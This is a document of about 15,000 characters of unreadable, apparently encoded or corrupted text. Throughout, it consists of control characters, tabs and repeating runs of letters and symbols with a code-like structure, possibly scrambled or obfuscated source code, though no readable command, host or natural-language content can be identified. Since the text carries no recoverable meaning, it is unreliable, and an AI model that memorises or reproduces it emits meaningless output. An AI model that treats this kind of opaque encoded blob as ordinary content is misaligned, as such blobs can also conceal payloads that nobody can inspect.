OUQ^NKG _	S^OUPWNKGQ^	UOUPVNKGG _	S^OUPUNKGG8T OUPTNKGGGQ^	UOUPSNKGQ^	UOUPRNKGGG _	S^OUPQNKGGGGT
OUPPNKG8T OUP_NKGGQ^	UOUP^NKGGQ^	UOU_WNKGGGQ^	UOU_VNKGGQ^	UOU_UNKGQ^	UOU_TNKGGGG8T OU_SNKGGGGG8T OU_RNN\CR8Z^_LQP\C^TQZCR8JUQ\mmmmGGGGGGGGmGG		GGGG^UQ V
ONmGmGGG	GO _	S^OU_QNKGGT
OU_PNKGGGGT
OU__NKGG8T OU_^NN\mGmGGGmGGG		GR8T	T	TQ8OCPPR 	8NmGGGmGGGGO _	S^OU^WNOQ^	UOU^VNNNGGG	GG 	OCPPR 	8KGGOSV9TUNN\mmmmGGO _	S^OU^UNOQ^	UOU^TNNNGGGGmGG	GGE;V;_;W_;WW;WW;WW;WW;WW;WW;WTEGGGIG OCPPR 	8KGORLSNNGGGIGGGGGT
OU^SNO@1@KGGG8T OU^RNOCPPR 	8NNGGGGIGGGGQ^	UOU^SNO@1@KGGT
OVWNOCPPR 	8NGGAGGOQRV_R_UPT^JUUUTQVRSSSNN\mmGGGGm	GGGCPPR 	8\mGGGGmGGGGG		GGUTQ VOCPPR 	8NmmGGmGGGOF8T OU^QNOCPPR 	8NGGGGGQ^	UOU^PNOCPPR 	8NGG[GGGUNGGG	GCPPR 	8\mGGOT
OVUPNOCPPR 	8KGGGGWKGGGGUNGGGFZZGE;V;_ENGGGGG	GGGCPPR 	8\mmGGGGGOT
OU^PNOCPPR 	8NGG[GGOWTLWNNGGG	G\mGGGC
URSR_8GGZGG'T
OU^_NO@1@KGGGGGG8T OVUPNOCPPR 	8KGGGGJOVR^9VRRNNN\mGGGGGC
URSR_8GGGGGZGGGQ^	UOUQUNOC
URSR_8NGXGC
URSR_8<V:GG]GW\CVSUS P ZSVVWW\CT
RZCVSUS P 9QU\mmmmGGGGGOC
URSR_8GGG[GGGOTUQLVPSNGGGGGGGC
URSR_8GGGGYGGGGOWTLWVSWUNNG	GG\mmmmGGGGGGOT
OU^UNO _	S^OU^^NNNGGmC	VSWQTGZGG' OCPPR 	8KGGGORQSTRSLS_SUUUNN\mGGGGmmGGGGGGGGGOC	VSWQTGGGFZZGNGGG	GC	VSWQT\mGGGGGmGGGGO8T OTWWNO _	S^OTWVNNNGGGmmmmGGC	VSWQTGZG' 	O _	S^OVUPNOCPPR 	8KGOUUU9UVUNKGGG _	S^OTWUNOCPPR 	8NGJGOULVQNNKGOVURP__TJUW^TWPNN\mmm	GGO _	S^OU^QNOC	VSWQTNGGGAAGGGGG _	S^OTWTNOC	VSWQTNGG[ZGGGGGOWQT_LW^VV_NNGXGGC	VSWQTGGG]GGG\mGGGGGGGmGGG	G\mmmGGGGmmmmGGGmGGOFGGGGT
OTWSNO8T OTWRNNNGGGmmm		GU	OC_T^WNmGGmmGGGGGGOFGGGGGGQ^	UOTWQNOC_T^WNGGGGGGGGQ^	UOTWPNOC_T^WNGGGGBGGGGUGGFZZGGWNGm	GGG\mGGmGG	G _	S^OU^SNO _	S^OTW_NKGGGGGGC_T^WN\mGGGmGGGGGmmmG		GGGVSQONmmmmGmGGGGC8^TGGGGGGZGGGGGGON\mGGC 
	PGGGGZGGO&%47&3/KG&%47&3/GGGIGG8T OTW^NKGGGG&%47&3/GGIGGT
OTVWNN\mGGGGGGGGGO	OQ^	UOVSWNNNGGGC 
	P<:GZGG078$()3")38#.5GGGIGG@H@\mGGGGGGOC 
	PGGGGGC	VSWQTNGGGmGGC8W
QWGGZGG _	S^OTWSNOT
OURSNNGGGGGXG'Q^	UOTVVNOC	VSWQTGIGG _	S^OTVUNNGG]GG\mGGO8T OUQUNOC8W
QWNNGGGGmGGGGOC8W
QWGGGCU
V

PNGmmmmGGC	V^SGGGZGG'Q^	UOUWUNOCU
V

PN\mmmmGGGGOC	V^SGGGAAGGC	V^SGGGYGGO^SQQ_SPTWLPWNNGGGGmGGC8^T<:GGGZGC	V^S\mmmmGGmGmGGGGGmHHG'	GmmGGmmmmGGOF
OC8^TNNGGGmCS VQWGGZGGC8^T<T
OTVTNOC8^TN:\mmG	GOCS VQWGJGGGOCS VQWGGGGBGGGGGGO^^^VRL_RNNNGGGLGSQQ
SUON\mGmGGGGGGC QPVUGZGGGGQ^	UOTVSNONGGGGGJGGGOOTW^LRQNGGMGGGGGOUTLVNGGGGGMGGOUWSPLVRRTNN\mGCT
GGGGZGGG8T OTWSNO8T OTVRNNGGGGXGGG8	OWKGOWVLWTNGGGMGGOWLWNGGGGMGGOTRWTL^PNNGGGG]G _	S^OTVQNOWKGGGOURLRNGGMGGOSLUWNGGGGGMGOSQTUJVWTUNN\mGGGCS VQWGGZGC QPVUGGGGGJGGCT
\m	GGOCS VQWGGGGGJGGGGGOCS VQWGBGGGGGO_SS__LVRRVUNNNGLGGGSQQ
SUON\mmGGGGGG		GGPPT8SQOC
_VQ KGCRQKGCVP
QTP
SGGZGGGG	NmGGGGmGGC PVS^PUGZGGGG		GGGGGOCVNGGGGOCVP
QTP
SNGmGGGGGGGGOFT
OTWQNOCVNGGGGCVGGGZZZGGEENG	GG\mGGGGGO8T OTVPNOCVNGYGGGOVQPSSP_QJ_TRQVP_NNG	GGG\mGGOCVP
QTP
SNGGGGmmGGGGGmm	GONG _	S^OTV_NOCVP
QTP
SKGGGGCVN\mGGGGGGGGGGGGO3GC	VRV8UNGmmmGGG	GG\mGGGGGGGGO"	GGGGC	VRV8UNGGmGGGGG	GGGGG\mGGGGGGGGmGGGGmmmG	GG\mGGGGGG\mGC	GZG _	S^OTWSNO _	S^OTV^NNGGGGGXGGGGG'Q^	UOTUWNOC
_VQ KGOmGGGGGQ^	UOTUVNGGZYGGCRQKmT
OTUUNGZYGGKmGGGGGGGG _	S^OTUTNGGGGGZYGOWV_PLWQUP_UUNKmmNNGGG]G\mmGGGGGOC	GAAGOFT
OTWSNOQ^	UOTUSNNGGGGF88OC	NNNGGmmmmGGGOO	NG8
88	8OC	NGGZZZGGOURV9RVNNGGGmGGGGC
V_SW8GGZGG8
88OC	N\mGGGOC PVS^PUOC
V_SW8NNGG	GGGGC
V_SW8\mGGGmGGmGGGGGGGGOQ^	UOTWSNO _	S^OTURNNGGAAGGGGG8T OTWSNOT
OTUQNNGAAGQ^	UOTWSNOQ^	UOTUPNNNGGGmGGCPW W	GGGZGG'8T OTURNOC
_VQ N\mGGOCPW W	GGZZZGGGGGNG	GGG\mmmG'Q^	UOTUQNOCPW W	KGGGOmGGGG		OQ^	UOTU_NNGGZYGGKmG		OQ^	UOTU^NNGZYGCRQKmmmmGG		OQ^	UOTTWNNGZYGGGKmGGG		O8T OTTVNNGZYGGGWKmGGG		O8T OTTUNNGGGZYGGKmmmG		O8T OTTTNNGGGGZYGG		GGGGGOC
U WWKGCSPKGC	P  NGGG	GGGGC	P  GYGGO_T__RSULQQNGXGGGGGGVG]GGGGGGW\GGGGKmmGNN\mmmmGGGC
SURS	GGZGG' _	S^OTUPNOCPW W	N\mGCWVRVGGZGGGG'8	OCPW W	N\mGGCQT	8U_GZGG'8 	OCPW W	N\mmmm'8OCPW W	N\mGGGOCWVRVNG	GGGG\mGOO	NGGCQT	8U_<T
OTTSN:GGZZZGOVVRL_RNGGGGGAAGC
SURS	GGGGGFZZGGGGGAAGGC PVS^PUOC
SURS	NNGGGmGG	GGC
SURS	\mGmmHHG	Gmm	GG\mGmmG		GVVP V^P_POC
_VQ KGGGC	
8WKGGGC^
VKGGGGCRQKGGCVP
QTP
SGGZG	NmGmGGGC PVS^PUGGGGZGG		GGGOCVNGGGGGOCVP
QTP
SNGGGmGGGGOF _	S^OTWQNOCVNGGGGGGCVGGGGGGZZZGGEENGGGGG	G\mGGGO _	S^OTVPNOCVNGGGGGYGGGO_T__R^VLVPNNG	GG\mGGGGGGOCVP
QTP
SNGGmmmmGGGGGmGGGGG	GONG8T OTTRNOCVP
QTP
SKGCVN\mGGGGGGGGGGO3GGGGC	VRV8UNGGGmmGG	G\mGGGGGGO"	GGC	VRV8UNGm	G\mGGGGmmmGmG	GGG\mG\mGGGC	GGGGZGG8T OTWSNO _	S^OTTQNNGXGG'8T OTTQNOC
_VQ KGGOmGGGGGQ^	UOTTPNGZYGCRQKmmGT
OTT_NGGZYGKmGT
OTT^NGZYGGGOVWQUUSTUJUUTT_USNKmQ^	UOTSWNGGZYGC^
VKmGGGQ^	UOTSVNGZYGC	
8WKmmmmGGGGNNG]GG\mGGGGGGGOQ^	UOTWSNO8T OTSUNNGGGAAG88OC	NNGGmGGGGGGOC	NGGGmGGC
S_RUWVGGGGZGO	NG8
88	8OC	N\mCPWTGGGGZGGG8
88OC	N\mmmmGGGGGGCQSGGGZGGG8
88OC	N\mGGC	
TRQ	
  GGGGZGGEE\mGGGGGGGOT
OTSTNOCQSNNGGmHHG07G7G$

	]G	JG	mmGGGGGGGGGOCQSGGGGGGC8U_RQUVRGGGZYGC_8W NGmGC	
TRQ	
  GGGIZGGC8U_RQUVRGGGGGGIGGG _	S^OTSSNGGIGGGGGC_8W GGIGT
OTSRN\mGmmmmGmGGGOC
S_RUWVGZZZGO^QLVWSNGGGAAGGC PVS^PUOCPWTNNGGmGG	GCPWT\mGGGGGGGmmGGmGGmGGGGmGGOQ^	UOTWSNOT
OTURNNGGAAGGGT
OTSQNOT
OTUQNNGGGAAGGGG8T OTSQNOT
OTUPNNNGGmGCPW W	GGZG'8T OTURNOC
_VQ N\mGGGGOCPW W	GZZZGNGGmG	GG\mmHHG'GJmmCVP 8QGGGGZGGON\mGGOC^
VGGGGGGGC8U_RQUVRGGZYGC_8W NGGmCVP 8Q<:GGGGGGZGC8U_RQUVRGGGIGGG _	S^OTSSNGIGGC_8W \mGmGG' _	S^OTUQNOCPW W	KGGOm		O _	S^OTSPNNGZYGGGKmmmmGGGGGG		OT
OTS_NNGZYGGGGGC	
8WKmGG		OT
OTU_NNGGZYGGGGKmGG		O _	S^OTS^NNGZYGGCRQKmGGGGGG		OT
OTTWNNGGGGGGZYGGKmGGGGGGG		OQ^	UOTTVNNGZYGGGGGGWKmG		O _	S^OTRWNNGGGGGZYGGGCVP 8QKm		O8T OTTUNNGGGGZYGGGKmGGGG		O _	S^OTTTNNGZYG		GOC
U WWKGGGGGGCSPKGGGGC	P  NGGGGGGG	GGGGGC	P  GGGYGGOPUT__UQLVVS^P_UNGGGGGXGGGGVG]GGGW\GGGGGKmGGGGGGNN\mGC
SURS	GGZG' _	S^OTUPNOCPW W	N\mmmGGGGCWVRVGGZG'8	OCPW W	N\mGGGCW8GGZGG'8OCPW W	N\mGGGGCQT	8U_GGZGG'8 	OCPW W	N\mmmmGC_P	GGGGZGGGGO	NGGGGGGCQT	8U_<8T OTTSN:\mGOCWVRVNGGGGmG'8OCPW W	N\mGG	GG\mmmGGGmHHG*46+G	G		]G	
G	mmmmmG'8OCPW W	N\CUZ^TQQ\C ZCUB_\mGGGGGGGOC_P	GGGZZZGGOWTLWRNGGGGGAAGGC
SURS	GFZZGGGGGGGAAGGGGC PVS^PUOC
SURS	NNGGGGGmGGGGG	GGGC
SURS	\mGGGmmmGmmGGOC
SURS	NGmm	GG\mmGGG	GG\mGGGmGmG		GGPQ_VRTVONmGGGmGC	U ^GGZG	S	P
	V_ ON\mGGGGGGC
SUT WGZG 8PWUSWON\mGmGO
OC	U ^NGGG
OC
SUT WNNGm	GON\mGmGGGGGmGGGGGGGC^S 8GZGGGQ^	UOTSQNO _	S^OTRVNNGGXGO	 NG 8	O8T OTRUNKGEENG]GEE\mmmmGGOC^S 8GGGGFZZGEENGGGmHHG	GG	 JmmC
SUT WGZGGGG _	S^OURVNOQ^	UOV^QNOC
SUT WKGOC^S 8NNN\mmGGGGGQ^	UOTRTNOC
SUT WKGGGGGC^S 8N\mGmGGGGmC_QV_
8	SGGGZGGGGG8T OTRSNOC	U ^< _	S^OTRRNOC	U ^N:N\mGGGGOC_QV_
8	SGGGZZZGGGGEENGmmmG	GGGGGON\mGmmGGGGmGGC	
8WGGGZGG _	S^OTRQNGGGGIGGC_QV_
8	SGGIGQ^	UOTRPN\mGC^	^GGZGO _	S^OTR_NGGGGGZYGG8T OTR^NN\mGC
T
GZGG _	S^OTQWNON\mGGGGGOC
SUT WGGGGC RQNGGGmGGmGGGGGGOOT
OTQWNONGGJGGGC
T
NGYGGOSLSVNNGGm\mGGGGmHHG5GJ]GGmmGGmGGGGGC RQGZGT
OTQVNOO	 NGGGGC RQN\mmmmGGGGGOC RQGZZZGEENGGGGGGm		\mmmGGmGGmGGCPWTGGZGGVVP V^P_POC RQKGGGGGC	
8WKGGGC^	^KGGOWSLWVNKGGGGGG		GGGGOCVNGGGGmGGCTU88GGGZGGGGG'T
OTQUNOCVKGN\mGGG	G _	S^OTSTNOCTU88NGGGGGGAAGOCTU88< _	S^OTQTN:N\mGGGGN\mGGGOCPWTGGZZZGNGGGmGGGG		\mmC 	 ^U	GGZGGG'Q^	UOTQUNOCPWTKGGN\mGGGGGGOFGGGGT
OTSTNOC 	 ^U	NGGGGGGFGGOC 	 ^U	<Q^	UOTQSN:NGGGGFGQ^	UOTWQNOC 	 ^U	<Q^	UOTQRN:NNGGGGGmG		\mGmGGmGC_T^WGGGZGC 	 ^U	< _	S^OTQRN:\mmmmGGO8T OTQQNOC_T^WKGGQ^	UOTQPNNGZZZGWNGGGmHHGJ	GGG07G4G"mmGC_T^WGGZGGG8T OVUPNOC_T^WKGGUN\mmmmGGGGGGmGGGGmGC	W	T
GZGG'T
OTWRNOC_T^WN\mGGGGGOC	W	T
GZZZGGGGGGGGG8T OTVPNOC	W	T
NGGGGG[GGGGGOVW_JSSNNGGGmG		\mGGmGGmGGGGGGGCV^PVGGZGGOWTSLWN\mGGCTRSGZGGGGQ^	UOTQ_NOC	W	T
<CV^PV:N\mGGGC8GGGZGGT
OVUPNOC	W	T
KGGCV^PVGLGGGVKGGCTRSN\mGGGOFGGGG8T OTWQNOC8NGGG8T OTVPNOC8NGGGGG[GOWULWVNNGmGGGG		\mmGGGGGGmGC8GGGGGZGGGGGT
OTQ_NOC8<W:N\mmGOC8GG[GVGGGG _	S^OTVPNOC8NG[GVGLGC8GLGVNGGGGmm		\mmmmmmGGmGGCTVV_	PGZGG8T OTQ^NOC8KGVKGC8N\mmmmGCTW8GGZGGQ^	UOTPWNOC8KGGGGGVGGLGC8N\mGGGGGGGOFG8T OTPVNOCTVV_	PNGGGGGFGGGT
OTPVNOCTW8NNGGGGmGGGG		\mGmmGC
P_	GGGZGGSWTP^8OCTW8KGCTVV_	PN\mmmGGOFG _	S^OTPUNOC
P_	NGGGGGQ^	UOTPTNOC
P_	NGGG[GGGUNGmGGGGGSS_UU8OQ^	UOTPSNKGGGQ^	UOTPRNN\m		\mmGmGGGC_Q8_GGZGGQ^	UOTQ_NOC
P_	<W:N\mmmmGGGGOC_Q8_GGGG[GGVGGGGGT
OTPTNOC
P_	NG[GGGGVGLGGGGGC_Q8_NGmGGGSS_UU8O _	S^OTPQNKGGGGGGQ^	UOTPPNN\mGGGGGGG		\mGGmGGGGGmGC^^PVT
GZGG _	S^OTPWNOC
P_	KGGVKGGC_Q8_N\mCQ

GZGGGGGT
OTP_NOC
P_	KGGVGGLGC_Q8_N\mC8SS^RRTGGGGZGGQ^	UOURVNOT
OTP^NO8T OURQNOT
OT_WNKGT
OT_VNO _	S^OT_UNKGGGCQ

NNNN\mGGGO _	S^OTSQNOT
OV__NNNGGGmmmm8	O _	S^OTRUNKGGGC RQN\mGGG8	O8T OT_TNKGGGGQ^	UOT_SNOE;	EKGC8SS^RRTNN\mmGGG	GGGO8T OT_RNGZYGGGGGC^^PVT
KGG _	S^OT_QNGGGGZYGGC8SS^RRTN\mGGGGGGO3GC	VRV8UNGGGGC^SSTZ7/78*&-(581"54.()\C	ZC^SSTMT\mGGGSS_UU8OT
OT_PNKGC	VRV8UN\mGGGG		\mGGGGGGGO"	GC	VRV8UNGGGGmHHG'	G
 JmmGGG		\mmGmGGGGGCT_TP8GGGZGT
OTSQNOQ^	UOTRVNNGGGXGO	 NG 8	O _	S^OT_TNKGEENGG]GGEE\mGGC RGGGGZGU ^STT	88OT
OT__NKGEEN\mGGGGGGGGGGGOCT_TP8GGFZZGGGGEEGGAAGGGG _	S^OT_^NOC RNGGAAGGGGGC RGFZZGGEENGGGGmGGGC8SS^RRTGZGGGGG _	S^OT^WNO8T OTP^NOT
OURQNOQ^	UOT^VNKGG _	S^OT_VNO _	S^OT_UNKGGCT_TP8NNNN\CQ_ZOWSQLWRN\CR8RZCQ_BQ\mGGGGOFGGG
OC8SS^RRTNNGGmmmmGGGGGG	GGGGGOQ^	UOT_RNGZYGGGGC RKGGG _	S^OT^UNGGZYGC8SS^RRTN\CQ TS_ Z_SLQQ\CWU^WZCQ TS_ JRW\mGGmGGGGGGmGGGSS_UU8O8T OT_PNKGGQ^	UOT^TNN\mmmG	GON\mmG		GGW^PQUPPW^OC	WQ_WV
KGGGGCW VQWKGGGC	UQ 8VNmmGOFGG8T OT^SNOT
OT^RNNNGGmGGG	GG\mmmGmGGGC
T	 
GZGGGGT
OT^QNOCW VQWN\mGGGGGGC

8W
UQGGGZGT
OT^PNOQ^	UOT^_NOVKGGOS^VJUTQNNN\mCWGGGGZGGGGEE\mGGGGGGGOCWR_QURGGGGZGWKGGGCU_U
GZGGT
OTPTNOC
T	 
N\GCWR_QURGGGG[GGCU_U
\GCWR_QURLLNGGGmGGGCWGGGGIZG _	S^OT^PNO8T OTQ_NOC
T	 
<CWR_QUR:NGGGG9GGGG _	S^OTQ_NOC

8W
UQNN\mGmGGG	GGGG8	OC	WQ_WV
KGGQ^	UOT^^NOC

8W
UQGIGGCWNKGGGGGC	UQ 8VNGGGFZZGGG\mmGmGmGGGGGG		GG^WS	8_SOC	WQ_WV
KGGC		^U88NmGGmGGGGOF _	S^OT^SNO _	S^OSWWNNNGG	GC		^U88\mGGGC^QV
VGGGGGZG 8	OC	WQ_WV
KGGEEN\mGGGGGGOC^QV
VGGZZZGGGEEGGGFGGGGG _	S^OSWVNOC^QV
VNNGmG	GGGGC		^U88\mGGGGGmmmCQU
PGGGZGG'Q^	UOSWUNOC^QV
VKGGN\mGGGGGGGGOCQU
PGZZZGGGGGGT
OTPTNOCQU
PNG[GGUNGGGGmmGG	GC		^U88\mGmGGGGGC

8W
UQGGGGGGZGGCQU
P<W:\mGCV_ SGGGGGZGGEE\mGGGGGGOCWR_QURGZGGVKGGCU_U
GZG8T OSWTNOCQU
PN\GCWR_QURG[GCU_U
\GGCWR_QURLLNGmGGGGGGGCV_ SGGIZG _	S^OSWSNO8T OTQ_NOCQU
P<CWR_QUR:NGG9GGT
OSWRNOC

8W
UQNN\mmmGGGGC
^S GGGGGZGGG
^8_UOCV_ SN\mG	GGC
^S GGGGFZZGGGXGGC
^S G]GGGC		^U88\mmmmmGGGGG		GG
^8_UOC8NmmGmGGGGGGGOFQ^	UOSWVNOC8NNG	GGG\mGGGGGO	OT
OSWQNNGGAAGGGG7/781"54.()8.#GYZGGOVU^QU_JR^QU_NNGGCSQV_V	Z7/78.)38*&?H7/78.)38*&?\C	 UV	ZCSQV_V	L^S\m	GGGG' _	S^OSWPNOC8KGGGGOQ^	UOSW_NGGZYGGNN\mmmmGGGGGmmmGGGG	G'T
OSWPNOC8N\mGGGGm		GG	PVP TONmmmmGGGGGGmGGGC8U_RQUVRGGZGGG	\mGGGOC8U_RQUVRGGFZZGG	NGG	GGC8U_RQUVR\mGGGGCT
TUP	VGZGGG	O8T OWNNGXG&%47&3/GGGG]GGEE\mGC8U_RQUVRGGZGT
OVTNO8T OSW^NO@;;@KGG@H@KGGGGCT
TUP	VNKGGGG@H@NGGGGGGIGGGG@H@\mmGGGGG	GC8U_RQUVR\mmmmGmmmGG		GRU 8SQTOC	WQ_WV
NmGmGGGGGGG	GGG^O	PVP TONGIGGGGGO	 NGSQQ
SUONGGIGC	WQ_WV
KGGGGGGOVWLUNN\mGGGGGmG		GG8W	 	
8ROC

8NmmmG	GGGO	 NGOOU^RPWQQ^LQVSU^TTVNGGGGLGGOO	NGGGOT
OTP_NOT
OUV_NO	PVP TONGGGGIGQ^	UOSVWNGGIGGC

8NKGWKGOWTLWSNNNGBGOSV_RWVSLS_VS^_RNNN\mmmG		GG^PP^UWPONmmGGGGGGG	GGG8W	 	
8ROQ^	UOSVVNN\mGGGmGG		GQSQWP	UONmGmGGGCQ^GGZGGGO	 NGGU ^STT	88OT
OSVUNKGEEN\m	GGG8T OSWTNOCQ^NGGGGGYGGO^LVNGGGGGGAAGGGT
OTQQNOCQ^KG^PP^UWPONNGGGFZZGGGGGAAGT
OSWTNOO	 NGU ^STT	88O _	S^OSVTNKGEENNGGGYGOWLWRQN\mGGGmGmG		GU ^STT	88OC	WQ_WV
KGGC		^U88NmGGGGGGmHHG'
GJmmG	G^WS	8_SORU 8SQTOC	WQ_WV
NKGGC		^U88N\mGGmGGGGGG		GGGGGGUTQ	8ROC	WQ_WV
KGC		^U88GZGEENmGGGmGGGGGC_8W GGGZGU ^STT	88OC	WQ_WV
KGGC		^U88N\mGGGGGGOT
OSWVNOC_8W NNGG	GC_8W \mGGGGGGO _	S^OSVSNOC_8W NNG	GGO	 NGGGGGGC_8W \mGGGG	GGC		^U88\mmmmGG		GGG8UQ	
UUOC	WQ_WV
KGCW VQWKGGC	UQ 8VNmGGmGGGW^PQUPPW^ORU 8SQTOC	WQ_WV
NKGGGGGCW VQWKGC	UQ 8VN\mmmGGm		GGGGG 	QU	 T
ONmGmCU	V8V
PQ GGGZGGGGGOC +(%&+4<Q^	UOSVRN:NGGGXGGGC +(%&+4<T
OSVRN:GG]GON\mGC^QV
VGZGGGU ^STT	88OQ^	UOSVQNKGGONN\mGOT
OTSTNOC^QV
VNNGmGGGCU	V8V
PQ GGGGZGGQ^	UOSVPNOC^QV
VKGGGGCU	V8V
PQ N\mGGmGCU	V8V
PQ GGZGGGG8T OSV_NOCU	V8V
PQ N\mGGG	G8T OVTSNOCU	V8V
PQ KGGGGJOWTWLWUNN\mmmmmGGGG		GG  	
QUONmGGGGmHHG07G+G%]GGmmGGGGGOFOC +(%&+4< _	S^OSVRN:NGGGGGG
OC +(%&+4<Q^	UOSVRN:NNGGG	\mGGGGGmC^QV
VGGZGGGU ^STT	88OQ^	UOSV^NKGGONN\mGGC^Q	GZGQ^	UOSUWNOQ^	UOSUVNOONC^QV
VKGC +(%&+4< _	S^OSVRN:NN\mC^Q	GGZGQ^	UOVTSNOC^Q	KGGGJOTQLVSNN\mGGGG8UQ	
UUOQ^	UOSUUNKGC^Q	KG8T OV^VNN\mmmGGGGGGGGGGGO3GC	VRV8UNGGGGCQ	QQZSRLS\C_T_ZCQ	QQJUT\mGGSS_UU8O8T OSUTNKGGC	VRV8UN\mGGGGO"	GGGGC	VRV8UNGGmmmmmmGGGGmGGGGGGG		GSWTP^8OC8KGCNmmmGGGGGGGGGOFGG _	S^OSWVNOC8NGGGGGGGFGG8T OSWVNOCNGGGGT
OSUSNOCNGGZZZGWNGGGmG	GGGG	\mmmGGGGGGGCSQU _		GGGZGGGGGGT
OSURNOC8N\mmmmGCS	S	QSGGGZGG8T OSURNOCN\mGGGCT	8GZGGEE\mGGGGGGGGGGGOCWR_QURGZGGW\GCWR_QURGGG[GGGCSQU _		\GGGCWR_QURLLNGmGCT	8GIZG _	S^OSWSNO _	S^OSUQNOC8<CWR_QUR:NGG9GT
OSUQNOC<CWR_QURGGGGGGBGGGGGCS	S	QS:NN\mmG	GCT	8\mmmGGGGmGG		GGQ^POCUVNmmGGmmGGGGGGOFGGGQ^	UOTSTNOCUVNNGGGGGmGGGGGGCUVGGGGZGGON\mmGGGC8
VP	GGZGGGRW	PTWUON\mCSW  Q 
GGZGG _	S^OT^SNO8T OSWWNNGGXGGGG^WS	8_SOT
OSUPNKGNGGGGG]GGGGG\mmmmGGGGGGGOQ^	UOTSTNOCSW  Q 
NGGGGAAGGOCSW  Q 
<8T OSU_N:NGAAGGO	NGGCSW  Q 
<8T OSU_N:GYZGGGOUSWLQWNGAAGGGGO	NGGGGGCSW  Q 
<Q^	UOSU^N:GG[ZGOVQS_VTJP_SVTNNGGGGC8
VP	GZGO	NGCSW  Q 
<Q^	UOSU^N:\mGGGGGOC8
VP	GGG[GGGGOTW[[VNNGmGGC8
VP	GGZGOWSTSLW^N\mmGGGGmGGGGCUV<8T OSTWN:GGGGZGOmG _	S^OSTVNGGGGZYGGGC8
VP	KmT
OSTUNGGZYGG8T OSTTNKmN\mGCUV< _	S^OSTSN:GGZGGGGGOmGGG8T OSTVNGGGGZYGGORU^LPVNKmGGGGGQ^	UOSTRNGGGGGZYGGGGQ^	UOSTTNKmGN\mmGGGG	GGCUV\mmGmGGG		GGG
SU T

UPSONmmGOF8T OT^SNO8T OSTQNNGGGGGGGGF _	S^OT^SNO _	S^OSTPNNNGGGGG	\mGGOF
^PURR^_Q
^	SVOT
OST_NNNGGGG	\mGGGGGGGGmGGGOF8	8O	U
WPU_ONNNGGGmHHG07G4G"]G
GmmGGGGG88	OT
OST^NONGGGLGGGGGQ^	UOSSWNOOVS_9VQ_NKGOTQTJQTNNKGGGGG8T OSTWNKGGG	U
WPU_ONN\mGmGGGGGG	GGmHHG07G"
G%]GG

	mmmmm RT^
U^OQ^	UOST_NN\mGGmmGGGmGmGGGmGGG		G^ R^V_ONmGGGGmmGGGGmmmGGGO	OQ^	UOSSVNNGGGAAGG#(.) 8$5()NGGmGGGGG	\mGGGGGGmmmGGmmmGGGGGGGGGGC^RTTRGZGG\mGGGGGGGGOC^RTTRNGG	\mGC^RTTRGGZG\mmmmGGGGmGGGGGGGGGGGGGOFGRQ8U	QONNGmGGGGG	\mGGGGmHHG07G$
G+	]G	G	JmmmmG UWWTOT
OSSUNKGG _	S^OSSTNKGWN\mmmmmGGGG		GU
SP SONmmGGGGGGOFQ^	UOSSSNO8T OSSRNNGGGGGFT
OSSSNOQ^	UOSSQNNNGGG	\mmmmG' _	S^OSSRNO8O _	S^OSSPNGGIG _	S^OSW^NO@I@KGGGGGEEKGO	 NG8T OTQWNONNGGGIGGQ^	UOSSWNOOWTLWQVNKGO^^RLSNNNKGGO _	S^OTTPNGGGGZYGGGGGWIWVKGGGGQ^	UOSS_NGGGZYGGGGKGGT
OTT_NGGZYGGNN\mmmmGGGmmmGG		GGGGPSQS ONmGGGmGGGGGC	RSQ^_GGGGZGG\mGGGOC	RSQ^_NGGGGG	\mGC	RSQ^_GGGZGGGG\mGGGmGGGC	GGZGGGG\mGGGGGOQ^	UOSSSNO8T OSS^NNNGmGG8T OSS^NON\mC	GGGGZGGGGGG\mGGGGGGGGO _	S^OSRWNOQ^	UOSRVNNNGGmGT
OSRVNON\mGGGC	GGGGGZGG\mmmGGGGGGGGGGGmGGGGGO _	S^OSRWNO8T OSRUNNNGm'8T OSRTNON\mGGGGGGmC T8GGGZG8T OSRWNO8T OSRSNNGGGGGGAAG'Q^	UOSRSNO _	S^OSRRNN\mGGGGOF8	ONGGGAAGGGGFC T8GAAG _	S^OSRQNONGGZZZGGGVGGGGGAAGGT
OSRWNO8T OSRPNNNGGGmGGC8GZGG'8 8	 ON\mmGGGGGGOC8GGFZZGGGGGGGGAAGGGGC8GGGYGGGWNGGGmmmmGG'O _	S^OSR_NGGGGIGC8N\mGGGGGG'OQ^	UOSR^NN\mGmmmGGGGmGGGGO8T OSRQNONNGmmmG'8T OSQWNON\mGGGGGGmmGGGmG'Q^	UOSQVNON\mGGGGGGmmmGGGGGCWGGZGGGGGGQ^	UOSRWNOT
OSQUNNGGAAGGGGFO	OQ^	UOSQTNNGAAGGG#.4&%+"8078$5()N\mGGGGGC UR GGZGGF _	S^OSRWNO _	S^OSQSNNGGGGGGGO	NGGG 8	OQ^	UOSQRNKGGWNGZZZGGW\mGGGGOFC UR GGGGAAGQ^	UOSRWNO _	S^OSQQNNGGGAAGGGQ^	UOSRWNO _	S^OT^RNNNGGGmmCPU8TGGGGZGO	 NGG 8	O _	S^OSQPNKGGGGGGEEN\mmmmGGGOCPU8TGGGFZZGG _ Q	QTPONNGGGmHMG	G	JGMHmmGGGGG'8	OQ^	UOSQ_NKGG _ Q	QTPONKGGT
OV^VNN\mGGGGG'8	O8T OSQRNKGGGWKGGT
OV^VNN\mGC UR GGZGGGG\mGGGGGmGmGGGGGC
PW


P_GZGGGG\mGGGGGOCWGAAGGGGT
OSQ^NO8T OSTQNNNGGmC	RQGGGGZGGGGGG8	8O	U
WPU_ONN\mGGGOC	RQGAAGGGGOQ^	UOST^NONGGGJGGO	NGC	RQNGYGGGOVSTSLRPQQNNGGGGGGmGGGGGGGC
PW


P_GGGZGG\mGGGGGGOT
OSQ^NO _	S^OSPWNNNGGGGGG'8	8	OO	NGGGC	RQKGG	U
WPU_ONN\mGmGGmGGOCWGGGGAAGGGFC UR GGGGGGAAGGFC
PW


P_NGmGGCRQ	PGZGG8T OSQ^NO8T OSTQNNGGGGXGGGGGO	NG8	8O	U
WPU_ONNGG]GGW\mGGGGGGOCRQ	PGG[ZGGGGGWGGGCRQ	PGGGJGGGGGGT
OST^NONGGGYGO_^RLRNNGGGGmGG'88	 8	O8T OST^NONKGGG	U
WPU_ONN\mGGGmmGGGGGGmmG
 
U__
8	ON\mGGGGGG	\mGmGGGGGGGOC
PW


P_NGSS_UU8O _	S^OSPVNKG8T OSPUNN\mmmmGGGGGGOFC	NGmGGGGGOCWNG'88	 8	OQ^	UOST^NONKGG	U
WPU_ONN\mGU
SP SON\mG
 
U__
8	ON\mmG	\mGmGGGGOT
OSQ^NOQ^	UOSPTNNNGGG'Q^	UOSPTNOOV^SJVSNN\mmmGGGGGU
